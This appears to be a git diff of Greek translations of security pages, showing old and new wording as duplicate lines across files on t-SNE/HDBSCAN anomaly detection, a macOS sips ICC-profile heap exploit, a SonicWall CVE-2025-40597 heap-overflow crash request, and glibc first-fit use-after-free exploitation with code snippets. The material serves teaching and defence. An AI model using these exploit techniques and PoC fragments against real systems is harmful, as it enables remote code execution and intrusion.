Το t-SNE είναι εξαιρετικό για οπτική ανακάλυψη προτύπων. Μπορεί να αποκαλύψει συστάδες, υποσυστάδες και ανωμαλίες που άλλες γραμμικές μέθοδοι (όπως το PCA) μπορεί να μην ανιχνεύσουν. Έχει χρησιμοποιηθεί στην έρευνα κυβερνοασφάλειας για να απεικονίσει πολύπλοκα δεδομένα όπως προφίλ συμπεριφοράς κακόβουλου λογισμικού ή πρότυπα δικτυακής κίνησης. Δεδομένου ότι διατηρεί τη τοπική δομή, είναι καλό στο να δείχνει φυσικές ομαδοποιήσεις.
Ωστόσο, το t-SNE είναι υπολογιστικά βαρύτερο (περίπου $O(n^2)$) οπότε μπορεί να απαιτεί δειγματοληψία για πολύ μεγάλα σύνολα δεδομένων. Έχει επίσης υπερπαραμέτρους (perplexity, ρυθμός μάθησης, επαναλήψεις) που μπορούν να επηρεάσουν την έξοδο π.χ., διαφορετικές τιμές perplexity μπορεί να αποκαλύψουν συστάδες σε διαφορετικές κλίμακες. Τα διαγράμματα t-SNE μπορεί μερικές φορές να παρερμηνευθούν οι αποστάσεις στον χάρτη δεν είναι άμεσα σημασιολογικά παγκοσμίως (επικεντρώνεται στη τοπική γειτονιά, μερικές φορές οι συστάδες μπορεί να φαίνονται τεχνητά καλά διαχωρισμένες). Επίσης, το t-SNE προορίζεται κυρίως για απεικόνιση; δεν παρέχει έναν απλό τρόπο να προβάλλει νέα σημεία δεδομένων χωρίς επαναϋπολογισμό, και δεν προορίζεται να χρησιμοποιηθεί ως προεπεξεργασία για προγνωστική μοντελοποίηση (το UMAP είναι μια εναλλακτική που αντιμετωπίζει ορισμένα από αυτά τα ζητήματα με ταχύτερη ταχύτητα).
Ωστόσο, το t-SNE είναι υπολογιστικά βαρύτερο (περίπου $O(n^2)$) οπότε μπορεί να απαιτεί δειγματοληψία για πολύ μεγάλα σύνολα δεδομένων. Έχει επίσης υπερπαραμέτρους (perplexity, ρυθμός μάθησης, επαναλήψεις) που μπορούν να επηρεάσουν την έξοδο π.χ., διαφορετικές τιμές perplexity μπορεί να αποκαλύψουν συστάδες σε διαφορετικές κλίμακες. Τα διαγράμματα t-SNE μπορεί μερικές φορές να παρερμηνευτούν οι αποστάσεις στον χάρτη δεν είναι άμεσα σημασιολογικά παγκοσμίως (επικεντρώνεται στη τοπική γειτονιά, μερικές φορές οι συστάδες μπορεί να φαίνονται τεχνητά καλά διαχωρισμένες). Επίσης, το t-SNE προορίζεται κυρίως για απεικόνιση; δεν παρέχει έναν απλό τρόπο να προβάλλει νέα σημεία δεδομένων χωρίς επαναϋπολογισμό, και δεν προορίζεται να χρησιμοποιηθεί ως προεπεξεργασία για προγνωστική μοντελοποίηση (το UMAP είναι μια εναλλακτική που αντιμετωπίζει ορισμένα από αυτά τα ζητήματα με ταχύτερη ταχύτητα).
<details>
<summary>Παράδειγμα -- Απεικόνιση Δικτυακών Συνδέσεων
</summary>
Θα χρησιμοποιήσουμε το t-SNE για να μειώσουμε ένα σύνολο δεδομένων πολλαπλών χαρακτηριστικών σε 2D. Για λόγους απεικόνισης, ας πάρουμε τα προηγούμενα δεδομένα 4D (τα οποία είχαν 3 φυσικές συστάδες κανονικής κίνησης) και να προσθέσουμε μερικά σημεία ανωμαλίας. Στη συνέχεια, εκτελούμε το t-SNE και (εννοιολογικά) απεικονίζουμε τα αποτελέσματα.
Θα χρησιμοποιήσουμε το t-SNE για να μειώσουμε ένα σύνολο δεδομένων πολλαπλών χαρακτηριστικών σε 2D. Για λόγους απεικόνισης, ας πάρουμε τα προηγούμενα 4D δεδομένα (τα οποία είχαν 3 φυσικές συστάδες κανονικής κίνησης) και να προσθέσουμε μερικά σημεία ανωμαλίας. Στη συνέχεια, τρέχουμε το t-SNE και (εννοιολογικά) απεικονίζουμε τα αποτελέσματα.
```
```python
# 1 ─────────────────────────────────────────────────────────────────────
@ -435,20 +434,20 @@ plt.legend()
plt.tight_layout()
plt.show()
```
Εδώ συνδυάσαμε το προηγούμενο 4D κανονικό σύνολο δεδομένων μας με μια χούφτα ακραίων εξαιρέσεων (οι εξαιρέσεις έχουν ένα χαρακτηριστικό (“διάρκεια”) ρυθμισμένο πολύ υψηλά, κ.λπ., για να προσομοιώσουμε ένα παράξενο μοτίβο). Εκτελούμε t-SNE με μια τυπική περιπλοκότητα 30. Τα δεδομένα εξόδου data_2d έχουν σχήμα (1505, 2). Δεν θα σχεδιάσουμε πραγματικά σε αυτό το κείμενο, αλλά αν το κάναμε, θα περιμέναμε να δούμε ίσως τρεις σφιχτούς συμπλέκτες που αντιστοιχούν στους 3 κανονικούς συμπλέκτες, και τις 5 εξαιρέσεις να εμφανίζονται ως απομονωμένα σημεία μακριά από αυτούς τους συμπλέκτες. Σε μια διαδραστική ροή εργασίας, θα μπορούσαμε να χρωματίσουμε τα σημεία ανάλογα με την ετικέτα τους (κανονικό ή ποιος συμπλέκτης, σε σχέση με την ανωμαλία) για να επαληθεύσουμε αυτή τη δομή. Ακόμη και χωρίς ετικέτες, ένας αναλυτής μπορεί να παρατηρήσει αυτά τα 5 σημεία να κάθονται σε κενό χώρο στο 2D διάγραμμα και να τα επισημάνει. Αυτό δείχνει πώς το t-SNE μπορεί να είναι ένα ισχυρό εργαλείο για την οπτική ανίχνευση ανωμαλιών και την επιθεώρηση συμπλεγμάτων σε δεδομένα κυβερνοασφάλειας, συμπληρώνοντας τους αυτοματοποιημένους αλγόριθμους παραπάνω.
Εδώ συνδυάσαμε το προηγούμενο 4D κανονικό σύνολο δεδομένων μας με μια χούφτα ακραίων εξαιρέσεων (οι εξαιρέσεις έχουν ένα χαρακτηριστικό (“διάρκεια”) ρυθμισμένο πολύ υψηλά, κ.λπ., για να προσομοιώσουμε ένα παράξενο μοτίβο). Εκτελούμε t-SNE με μια τυπική περιπλοκότητα 30. Τα δεδομένα εξόδου data_2d έχουν σχήμα (1505, 2). Δεν θα σχεδιάσουμε πραγματικά σε αυτό το κείμενο, αλλά αν το κάναμε, θα περιμέναμε να δούμε ίσως τρεις σφιχτές ομάδες που αντιστοιχούν στις 3 κανονικές ομάδες, και τις 5 εξαιρέσεις να εμφανίζονται ως απομονωμένα σημεία μακριά από αυτές τις ομάδες. Σε μια διαδραστική ροή εργασίας, θα μπορούσαμε να χρωματίσουμε τα σημεία ανάλογα με την ετικέτα τους (κανονικό ή ποια ομάδα, έναντι ανωμαλίας) για να επαληθεύσουμε αυτή τη δομή. Ακόμα και χωρίς ετικέτες, ένας αναλυτής μπορεί να παρατηρήσει αυτά τα 5 σημεία να κάθονται σε κενό χώρο στο 2D διάγραμμα και να τα επισημάνει. Αυτό δείχνει πώς το t-SNE μπορεί να είναι ένα ισχυρό εργαλείο για την οπτική ανίχνευση ανωμαλιών και την επιθεώρηση ομάδων σε δεδομένα κυβερνοασφάλειας, συμπληρώνοντας τους αυτοματοποιημένους αλγόριθμους παραπάνω.
</details>
### HDBSCAN (Ιεραρχική Συμπίεση Χωρικών Εφαρμογών με Θόρυβο)
### HDBSCAN (Ιεραρχική Συμπίεση Χωρικών Δεδομένων με Θόρυβο)
**HDBSCAN** είναι μια επέκταση του DBSCAN που αφαιρεί την ανάγκη να επιλέξουμε μια μοναδική παγκόσμια τιμή `eps` και είναι ικανή να ανακτήσει συμπλέγματα **διαφορετικής πυκνότητας** χτίζοντας μια ιεραρχία πυκνοσυνδεδεμένων συστατικών και στη συνέχεια συμπυκνώνοντάς την. Σε σύγκριση με το απλό DBSCAN, συνήθως
**HDBSCAN** είναι μια επέκταση του DBSCAN που αφαιρεί την ανάγκη να επιλέξουμε μια μοναδική παγκόσμια τιμή `eps` και είναι ικανή να ανακτήσει ομάδες **διαφορετικής πυκνότητας** χτίζοντας μια ιεραρχία πυκνά συνδεδεμένων στοιχείων και στη συνέχεια συμπυκνώνοντάς την. Σε σύγκριση με το απλό DBSCAN, συνήθως
* εξάγει πιο διαισθητικά συμπλέγματα όταν ορισμένα συμπλέγματα είναι πυκνά και άλλα αραιά,
* εξάγει πιο διαισθητικές ομάδες όταν ορισμένες ομάδες είναι πυκνές και άλλες αραιές,
* έχει μόνο μία πραγματική υπερπαράμετρο (`min_cluster_size`) και μια λογική προεπιλογή,
* δίνει σε κάθε σημείο μια πιθανότητα *μέλους συμπλέγματος* και μια **βαθμολογία εξαιρέσεων** (`outlier_scores_`), που είναι εξαιρετικά χρήσιμη για πίνακες ελέγχου ανίχνευσης απειλών.
* δίνει σε κάθε σημείο μια πιθανότητα *μέλους ομάδας* και μια **βαθμολογία εξαιρέσεων** (`outlier_scores_`), που είναι εξαιρετικά χρήσιμη για πίνακες ελέγχου ανίχνευσης απειλών.
> [!TIP]
> *Χρήσεις στην κυβερνοασφάλεια:* Το HDBSCAN είναι πολύ δημοφιλές σε σύγχρονες ροές ανίχνευσης απειλών θα το βλέπετε συχνά μέσα σε βιβλία παιχνιδιών ανίχνευσης που βασίζονται σε σημειωματάρια που αποστέλλονται με εμπορικές σουίτες XDR. Μια πρακτική συνταγή είναι να ομαδοποιήσετε την κυκλοφορία HTTP beaconing κατά τη διάρκεια του IR: ο χρήστης-agent, το διάστημα και το μήκος URI συχνά σχηματίζουν αρκετές σφιχτές ομάδες νόμιμων ενημερωτών λογισμικού ενώ οι C2 beacon παραμένουν ως μικρές ομάδες χαμηλής πυκνότητας ή ως καθαρός θόρυβος.
> *Χρήσεις στην κυβερνοασφάλεια:* Το HDBSCAN είναι πολύ δημοφιλές σε σύγχρονες ροές ανίχνευσης απειλών θα το βλέπετε συχνά μέσα σε βιβλία παιχνιδιών ανίχνευσης βασισμένα σε σημειωματάρια που αποστέλλονται με εμπορικές σουίτες XDR. Μια πρακτική συνταγή είναι να ομαδοποιήσετε την κυκλοφορία HTTP beaconing κατά τη διάρκεια του IR: ο user-agent, το διάστημα και το μήκος URI συχνά σχηματίζουν αρκετές σφιχτές ομάδες νόμιμων ενημερωτών λογισμικού ενώ οι C2 beacon παραμένουν ως μικρές ομάδες χαμηλής πυκνότητας ή ως καθαρός θόρυβος.
<details>
<summary>Παράδειγμα Εύρεση καναλιών C2 beaconing</summary>
@ -489,9 +488,9 @@ Recent work has shown that **unsupervised learners are *not* immune to active at
Mitigations that are gaining traction:
1. **Model sanitisation / TRIM.** Before every retraining epoch, discard the 12 % highest-loss points (trimmed maximum likelihood) to make poisoning dramatically harder.
2. **Consensus ensembling.** Combine several heterogeneous detectors (e.g., Isolation Forest + GMM + ECOD) and raise an alert if *any* model flags a point. Research indicates this raises the attackers cost by >10×.
3. **Distance-based defence for clustering.** Re-compute clusters with `k` different random seeds and ignore points that constantly hop clusters.
1. **Καθαρισμός μοντέλου / TRIM.** Before every retraining epoch, discard the 12 % highest-loss points (trimmed maximum likelihood) to make poisoning dramatically harder.
2. **Συναίνεση συνδυασμού.** Combine several heterogeneous detectors (e.g., Isolation Forest + GMM + ECOD) and raise an alert if *any* model flags a point. Research indicates this raises the attackers cost by >10×.
3. **Άμυνα βασισμένη σε απόσταση για ομαδοποίηση.** Re-compute clusters with `k` different random seeds and ignore points that constantly hop clusters.
---

View File

@ -35,7 +35,7 @@ sips -s format png payload.jpg --out out.png
```
3. **Διαφθορά μεταδεδομένων σωρού ➜ αυθαίρετη εγγραφή ➜ ROP**
Στον προεπιλεγμένο **`nano_zone` αλγόριθμο κατανομής** της Apple, τα μεταδεδομένα για τις θέσεις 16 byte βρίσκονται **άμεσα μετά** από το ευθυγραμμισμένο slab 0x1000. Τοποθετώντας την ετικέτα του προφίλ στο τέλος ενός τέτοιου slab, οι 16 μηδενικές εγγραφές καταστρέφουν το `meta->slot_B`. Μετά από μια επόμενη `free`, ο μολυσμένος δείκτης εντάσσεται στη μικρή λίστα ελεύθερων, επιτρέποντας στον επιτιθέμενο **να κατανομήσει ένα ψεύτικο αντικείμενο σε μια αυθαίρετη διεύθυνση** και να αντικαταστήσει έναν δείκτη vtable C++ που χρησιμοποιείται από το sips, τελικά μεταφέροντας την εκτέλεση σε μια αλυσίδα ROP που αποθηκεύεται στο κακόβουλο buffer ICC.
Στον προεπιλεγμένο **`nano_zone` αλγόριθμο κατανομής** της Apple, τα μεταδεδομένα για τις θέσεις 16 byte βρίσκονται **άμεσα μετά** από το ευθυγραμμισμένο slab 0x1000. Τοποθετώντας την ετικέτα του προφίλ στο τέλος ενός τέτοιου slab, οι 16 μηδενικές εγγραφές καταστρέφουν το `meta->slot_B`. Μετά από μια επόμενη `free`, ο μολυσμένος δείκτης εισάγεται στη μικρή λίστα ελεύθερων, επιτρέποντας στον επιτιθέμενο **να κατανομήσει ένα ψεύτικο αντικείμενο σε μια αυθαίρετη διεύθυνση** και να αντικαταστήσει έναν δείκτη vtable C++ που χρησιμοποιείται από το sips, τελικά μεταφέροντας την εκτέλεση σε μια αλυσίδα ROP που αποθηκεύεται στο κακόβουλο buffer ICC.
### Quick PoC generator (Python 3)
```python
@ -77,7 +77,7 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
```
## Impact
Το άνοιγμα ή η επεξεργασία ενός κατασκευασμένου ICC profile οδηγεί σε απομακρυσμένη **εκτέλεση αυθαίρετου κώδικα** στο πλαίσιο του καλούντος χρήστη (Preview, QuickLook, Safari image rendering, Mail attachments, κ.λπ.), παρακάμπτοντας τον Gatekeeper επειδή το προφίλ μπορεί να ενσωματωθεί μέσα σε αλλιώς αβλαβή εικόνες (PNG/JPEG/TIFF).
Το άνοιγμα ή η επεξεργασία ενός κατασκευασμένου ICC profile οδηγεί σε απομακρυσμένη **εκτέλεση αυθαίρετου κώδικα** στο πλαίσιο του καλούντος χρήστη (Preview, QuickLook, Safari image rendering, Mail attachments, κ.λπ.), παρακάμπτοντας τον Gatekeeper επειδή το προφίλ μπορεί να ενσωματωθεί μέσα σε αλλιώς ακίνδυνες εικόνες (PNG/JPEG/TIFF).
## Detection & Mitigation
@ -85,7 +85,7 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
* Αναπτύξτε τον κανόνα YARA παραπάνω σε πύλες email και λύσεις EDR.
* Αφαιρέστε ή καθαρίστε τα ενσωματωμένα ICC profiles με `exiftool -icc_profile= -overwrite_original <file>` πριν από περαιτέρω επεξεργασία σε μη αξιόπιστα αρχεία.
* Ενισχύστε το Preview/QuickLook εκτελώντας τα μέσα σε sandboxed “transparency & modernisation” VMs κατά την ανάλυση άγνωστου περιεχομένου.
* Για DFIR, αναζητήστε πρόσφατη εκτέλεση του `sips --verifyColor` ή φορτώσεις βιβλιοθηκών `ColorSync` από sandboxed εφαρμογές στο ενιαίο log.
* Για DFIR, αναζητήστε πρόσφατη εκτέλεση του `sips --verifyColor` ή φορτώσεις βιβλιοθηκών `ColorSync` από sandboxed εφαρμογές στο ενοποιημένο log.
## References

View File

@ -19,7 +19,7 @@
Μία από τις τεχνικές που χρησιμοποιούνται για αυτό είναι το **Heap Grooming** το οποίο χρησιμοποιείται για παράδειγμα [**σε αυτή την ανάρτηση**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Στην ανάρτηση εξηγείται πώς όταν στο iOS kernel μια ζώνη εξαντλείται από μνήμη για να αποθηκεύσει chunks μνήμης, επεκτείνεται κατά μία σελίδα kernel, και αυτή η σελίδα χωρίζεται σε chunks των αναμενόμενων μεγεθών που θα χρησιμοποιηθούν με σειρά (μέχρι την έκδοση iOS 9.2, τότε αυτά τα chunks χρησιμοποιούνται με τυχαίο τρόπο για να δυσκολέψουν την εκμετάλλευση αυτών των επιθέσεων).
Επομένως, στην προηγούμενη ανάρτηση όπου συμβαίνει ένα heap overflow, προκειμένου να αναγκαστεί το υπερχειλισμένο αντικείμενο να συγκρούεται με μια σειρά θύματος, αρκετές **`kallocs` αναγκάζονται από αρκετές νήματα για να προσπαθήσουν να διασφαλίσουν ότι όλα τα ελεύθερα chunks είναι γεμάτα και ότι δημιουργείται μια νέα σελίδα**.
Επομένως, στην προηγούμενη ανάρτηση όπου συμβαίνει ένα heap overflow, προκειμένου να αναγκαστεί το υπερχειλισμένο αντικείμενο να συγκρούεται με μια παραγγελία θύματος, αρκετές **`kallocs` αναγκάζονται από αρκετές νήματα για να προσπαθήσουν να διασφαλίσουν ότι όλα τα ελεύθερα chunks είναι γεμάτα και ότι δημιουργείται μια νέα σελίδα**.
Για να αναγκαστεί αυτή η γέμιση με αντικείμενα συγκεκριμένου μεγέθους, η **εκτός γραμμής κατανομή που σχετίζεται με ένα mach port του iOS** είναι ένας ιδανικός υποψήφιος. Με την κατασκευή του μεγέθους του μηνύματος, είναι δυνατό να καθοριστεί ακριβώς το μέγεθος της κατανομής `kalloc` και όταν το αντίστοιχο mach port καταστραφεί, η αντίστοιχη κατανομή θα απελευθερωθεί αμέσως πίσω στο `kfree`.
@ -31,7 +31,7 @@
Ένα άλλο παράδειγμα από [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) δείχνει ένα πολύ βασικό παράδειγμα ενός CTF όπου ένα **heap overflow** μπορεί να εκμεταλλευτεί για να καλέσει τη συνάρτηση νικητή για **να πάρει τη σημαία**.
Στο παράδειγμα [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) είναι δυνατό να δείτε πώς με την κατάχρηση ενός buffer overflow είναι δυνατό να **αντικατασταθεί σε ένα κοντινό chunk μια διεύθυνση** όπου **θα γραφούν αυθαίρετα δεδομένα από τον χρήστη**.
Στο παράδειγμα [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) είναι δυνατό να δείτε πώς με την κατάχρηση ενός buffer overflow είναι δυνατό να **αντικατασταθεί σε ένα κοντινό chunk μια διεύθυνση** όπου **τυχαία δεδομένα από τον χρήστη** θα γραφούν.
### Example ARM64
@ -45,9 +45,9 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
- Χρησιμοποιούμε μια ευπάθεια Integer Overflow για να αποκτήσουμε Heap Overflow.
- Διαφθείρουμε δείκτες σε μια συνάρτηση μέσα σε ένα `struct` του υπερχειλισμένου κομματιού για να ορίσουμε μια συνάρτηση όπως το `system` και να αποκτήσουμε εκτέλεση κώδικα.
### Παράδειγμα Πραγματικού Κόσμου: CVE-2025-40597 Κακή χρήση του `__sprintf_chk`
### Παράδειγμα από τον Πραγματικό Κόσμο: CVE-2025-40597 Κακή χρήση του `__sprintf_chk`
Στο firmware 10.2.1.15 του SonicWall SMA100, το module reverse-proxy `mod_httprp.so` εκχωρεί ένα **0x80-byte** heap chunk και στη συνέχεια συγχωνεύει πολλές συμβολοσειρές σε αυτό με το `__sprintf_chk`:
Στο firmware 10.2.1.15 του SonicWall SMA100, το module αντίστροφης προξενίας `mod_httprp.so` εκχωρεί ένα **0x80-byte** κομμάτι heap και στη συνέχεια συγχωνεύει πολλές συμβολοσειρές σε αυτό με το `__sprintf_chk`:
```c
char *buf = calloc(0x80, 1);
/* … */
@ -59,7 +59,7 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */
```
`__sprintf_chk` είναι μέρος του **_FORTIFY_SOURCE**. Όταν λαμβάνει μια **θετική** παράμετρο `size`, επαληθεύει ότι η προκύπτουσα συμβολοσειρά χωράει μέσα στο προορισμένο buffer. Με την παράδοση **`-1` (0xFFFFFFFFFFFFFFFF)** οι προγραμματιστές ουσιαστικά **απενεργοποίησαν τον έλεγχο ορίων**, μετατρέποντας την ενισχυμένη κλήση πίσω σε μια κλασική, μη ασφαλή `sprintf`.
Η παροχή μιας υπερβολικά μεγάλης **`Host:`** κεφαλίδας επιτρέπει επομένως σε έναν επιτιθέμενο να **υπερχείλει το chunk των 0x80 byte και να καταστρέψει τα μεταδεδομένα του επόμενου chunk της heap** (tcache / fast-bin / small-bin ανάλογα με τον αλγόριθμο κατανομής). Ένα crash μπορεί να αναπαραχθεί με:
Η παροχή ενός υπερβολικά μεγάλου **`Host:`** header επιτρέπει επομένως σε έναν επιτιθέμενο να **υπερχείλει το chunk των 0x80 byte και να καταστρέψει τα μεταδεδομένα του επόμενου chunk της heap** (tcache / fast-bin / small-bin ανάλογα με τον allocator). Ένα crash μπορεί να αναπαραχθεί με:
```python
import requests, warnings
warnings.filterwarnings('ignore')
@ -74,7 +74,7 @@ verify=False
1. **_FORTIFY_SOURCE δεν είναι πανάκεια** η κακή χρήση μπορεί να αναιρέσει την προστασία.
2. Πάντα να περνάτε το **σωστό μέγεθος buffer** στην οικογένεια `_chk` (ή, ακόμα καλύτερα, να χρησιμοποιείτε `snprintf`).
## References
## Αναφορές
* [watchTowr Labs Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -24,7 +24,7 @@ char *c = malloc(250);
```
### Fastbins
Τα Fastbins χρησιμοποιούνται για μικρά κομμάτια μνήμης. Σε αντίθεση με τα unsorted bins, τα fastbins προσθέτουν νέα κομμάτια στην κεφαλή, δημιουργώντας μια συμπεριφορά last-in-first-out (LIFO). Αν ζητήσετε ένα μικρό κομμάτι μνήμης, ο allocator θα τραβήξει από την κεφαλή του fastbin.
Τα Fastbins χρησιμοποιούνται για μικρές μνήμες. Σε αντίθεση με τα unsorted bins, τα fastbins προσθέτουν νέα κομμάτια στην κεφαλή, δημιουργώντας μια συμπεριφορά last-in-first-out (LIFO). Εάν ζητήσετε ένα μικρό κομμάτι μνήμης, ο allocator θα αντλήσει από την κεφαλή του fastbin.
Example:
```c
@ -60,7 +60,7 @@ for(int i = 0; i < 7; i++) free(pool[i]);
---
### 🚩 Δημιουργία ενός overlapping-chunk UAF με first-fit
Το παρακάτω απόσπασμα (δοκιμασμένο σε glibc 2.38) δείχνει πώς μπορεί να καταχραστεί ο διαχωριστής στο unsorted bin για να δημιουργήσει 2 **overlapping pointers** μια ισχυρή πρωτοβουλία που μετατρέπει μια μόνο απελευθέρωση σε write-after-free.
Το παρακάτω απόσπασμα (δοκιμασμένο σε glibc 2.38) δείχνει πώς μπορεί να καταχραστεί ο διαχωριστής στο unsorted bin για να δημιουργήσει 2 **overlapping pointers** μια ισχυρή πρωτοβουλία που μετατρέπει μια μοναδική απελευθέρωση σε write-after-free.
```c
#include <stdio.h>
#include <stdlib.h>
@ -98,7 +98,7 @@ Exploitation recipe (common in recent CTFs):
4. **Κατανείμετε** ξανά το υπόλοιπο μέρος επικαλύπτεται με ένα υπάρχον chunk σε χρήση → UAF.
5. Επαναγράψτε ευαίσθητα πεδία (δείκτες συναρτήσεων, FILE vtable, κ.λπ.)
Μια πρακτική εφαρμογή μπορεί να βρεθεί στην πρόκληση *Setjmp* των 2024 HITCON Quals όπου αυτή η ακριβής πρωτοβουλία χρησιμοποιείται για να μεταβεί από ένα UAF σε πλήρη έλεγχο του `__free_hook`.{{#ref}}
Μια πρακτική εφαρμογή μπορεί να βρεθεί στην πρόκληση *Setjmp* των 2024 HITCON Quals όπου χρησιμοποιείται αυτό το ακριβές primitive για να μεταβεί από ένα UAF σε πλήρη έλεγχο του `__free_hook`.{{#ref}}
../../../../references/2024_setjmp_firstfit.md
{{#endref}}
@ -106,7 +106,7 @@ Exploitation recipe (common in recent CTFs):
### 🛡️ Mitigations & Hardening
* **Safe-linking (glibc ≥ 2.32)** προστατεύει μόνο τις απλά συνδεδεμένες λίστες *tcache*/**fastbin**. Οι unsorted/small/large bins εξακολουθούν να αποθηκεύουν ακατέργαστους δείκτες, οπότε οι επικαλύψεις που βασίζονται σε first-fit παραμένουν βιώσιμες αν μπορείτε να αποκτήσετε ένα heap leak.
* **Κρυπτογράφηση δείκτη heap & MTE** (ARM64) δεν επηρεάζουν ακόμα την x86-64 glibc, αλλά οι σημαίες σκληροποίησης διανομής όπως το `GLIBC_TUNABLES=glibc.malloc.check=3` θα τερματίσουν σε ασυνεπείς μεταδεδομένες πληροφορίες και μπορούν να σπάσουν απλές PoCs.
* **Κρυπτογράφηση δείκτη heap & MTE** (ARM64) δεν επηρεάζουν ακόμη το x86-64 glibc, αλλά οι σημαίες σκληροποίησης διανομής όπως `GLIBC_TUNABLES=glibc.malloc.check=3` θα τερματίσουν σε ασυνεπή μεταδεδομένα και μπορούν να σπάσουν απλές PoCs.
* **Γέμισμα tcache κατά την απελευθέρωση** (προτεινόμενο το 2024 για glibc 2.41) θα μειώσει περαιτέρω τη χρήση unsorted; παρακολουθήστε τις μελλοντικές εκδόσεις κατά την ανάπτυξη γενικών exploits.
---
@ -114,15 +114,15 @@ Exploitation recipe (common in recent CTFs):
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. Χρήση μετά την απελευθέρωση: Δημιουργήστε ένα αντικείμενο χρήστη, απελευθερώστε το, δημιουργήστε ένα αντικείμενο που αποκτά το freed chunk και επιτρέψτε να γράψει σε αυτό, **επικαλύπτοντας τη θέση του user->password** από το προηγούμενο. Επαναχρησιμοποιήστε τον χρήστη για **να παρακάμψετε τον έλεγχο κωδικού πρόσβασης**
- ARM64. Use after free: Δημιουργήστε ένα αντικείμενο χρήστη, απελευθερώστε το, δημιουργήστε ένα αντικείμενο που αποκτά το freed chunk και επιτρέψτε να γράψει σε αυτό, **επικαλύπτοντας τη θέση του user->password** από το προηγούμενο. Επαναχρησιμοποιήστε τον χρήστη για **να παρακάμψετε τον έλεγχο κωδικού πρόσβασης**
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- Το πρόγραμμα επιτρέπει τη δημιουργία σημειώσεων. Μια σημείωση θα έχει τις πληροφορίες της σημείωσης σε ένα malloc(8) (με έναν δείκτη σε μια συνάρτηση που θα μπορούσε να κληθεί) και έναν δείκτη σε άλλο malloc(<size>) με το περιεχόμενο της σημείωσης.
- Η επίθεση θα ήταν να δημιουργηθούν 2 σημειώσεις (note0 και note1) με μεγαλύτερο περιεχόμενο malloc από το μέγεθος των πληροφοριών της σημείωσης και στη συνέχεια να απελευθερωθούν ώστε να μπουν στο fast bin (ή tcache).
- Στη συνέχεια, δημιουργήστε μια άλλη σημείωση (note2) με μέγεθος περιεχομένου 8. Το περιεχόμενο θα είναι στη note1 καθώς το chunk θα επαναχρησιμοποιηθεί, όπου θα μπορούσαμε να τροποποιήσουμε τον δείκτη συνάρτησης ώστε να δείχνει στη συνάρτηση win και στη συνέχεια να χρησιμοποιήσουμε το Use-After-Free στη note1 για να καλέσουμε τον νέο δείκτη συνάρτησης.
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- Είναι δυνατόν να δεσμεύσετε κάποια μνήμη, να γράψετε την επιθυμητή τιμή, να την απελευθερώσετε, να την επαναδεσμεύσετε και καθώς τα προηγούμενα δεδομένα είναι ακόμα εκεί, θα αντιμετωπιστούν σύμφωνα με τη νέα αναμενόμενη δομή στο chunk, καθιστώντας δυνατή την ρύθμιση της τιμής για να αποκτήσετε τη σημαία.
- Είναι δυνατόν να δεσμεύσετε κάποια μνήμη, να γράψετε την επιθυμητή τιμή, να την απελευθερώσετε, να την επαναδεσμεύσετε και καθώς τα προηγούμενα δεδομένα είναι ακόμη εκεί, θα αντιμετωπιστούν σύμφωνα με τη νέα αναμενόμενη δομή στο chunk, καθιστώντας δυνατή την ρύθμιση της τιμής για να αποκτήσετε τη σημαία.
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- Σε αυτή την περίπτωση είναι απαραίτητο να γράψετε 4 μέσα σε ένα συγκεκριμένο chunk το οποίο είναι το πρώτο που έχει δεσμευτεί (ακόμα και μετά την αναγκαστική απελευθέρωση όλων τους). Σε κάθε νέο δεσμευμένο chunk, ο αριθμός του αποθηκεύεται στον δείκτη του πίνακα. Στη συνέχεια, δεσμεύστε 4 chunks (+ το αρχικά δεσμευμένο), το τελευταίο θα έχει 4 μέσα του, απελευθερώστε τα και αναγκάστε την επαναδέσμευση του πρώτου, το οποίο θα χρησιμοποιήσει το τελευταίο chunk που απελευθερώθηκε, το οποίο είναι αυτό με 4 μέσα του.
- Σε αυτή την περίπτωση είναι απαραίτητο να γράψετε 4 μέσα σε ένα συγκεκριμένο chunk το οποίο είναι το πρώτο που έχει δεσμευτεί (ακόμη και μετά την αναγκαστική απελευθέρωση όλων τους). Σε κάθε νέο δεσμευμένο chunk, ο αριθμός του αποθηκεύεται στον δείκτη του πίνακα. Στη συνέχεια, δεσμεύστε 4 chunks (+ το αρχικά δεσμευμένο), το τελευταίο θα έχει 4 μέσα του, απελευθερώστε τα και αναγκάστε την επαναδέσμευση του πρώτου, το οποίο θα χρησιμοποιήσει το τελευταίο chunk που απελευθερώθηκε, το οποίο είναι αυτό με 4 μέσα του.
- 2024 HITCON Quals Setjmp write-up (Quarkslab) πρακτική επίθεση first-fit / unsorted-split overlap: <https://ctftime.org/writeup/39355>
- Angstrom CTF 2024 *heapify* write-up εκμετάλλευση του splitting του unsorted-bin για να διαρρεύσει libc και να αποκτήσει επικαλύψεις: <https://hackmd.io/@aneii11/H1S2snV40>

View File

@ -4,7 +4,7 @@
## Τι είναι το Stack Overflow
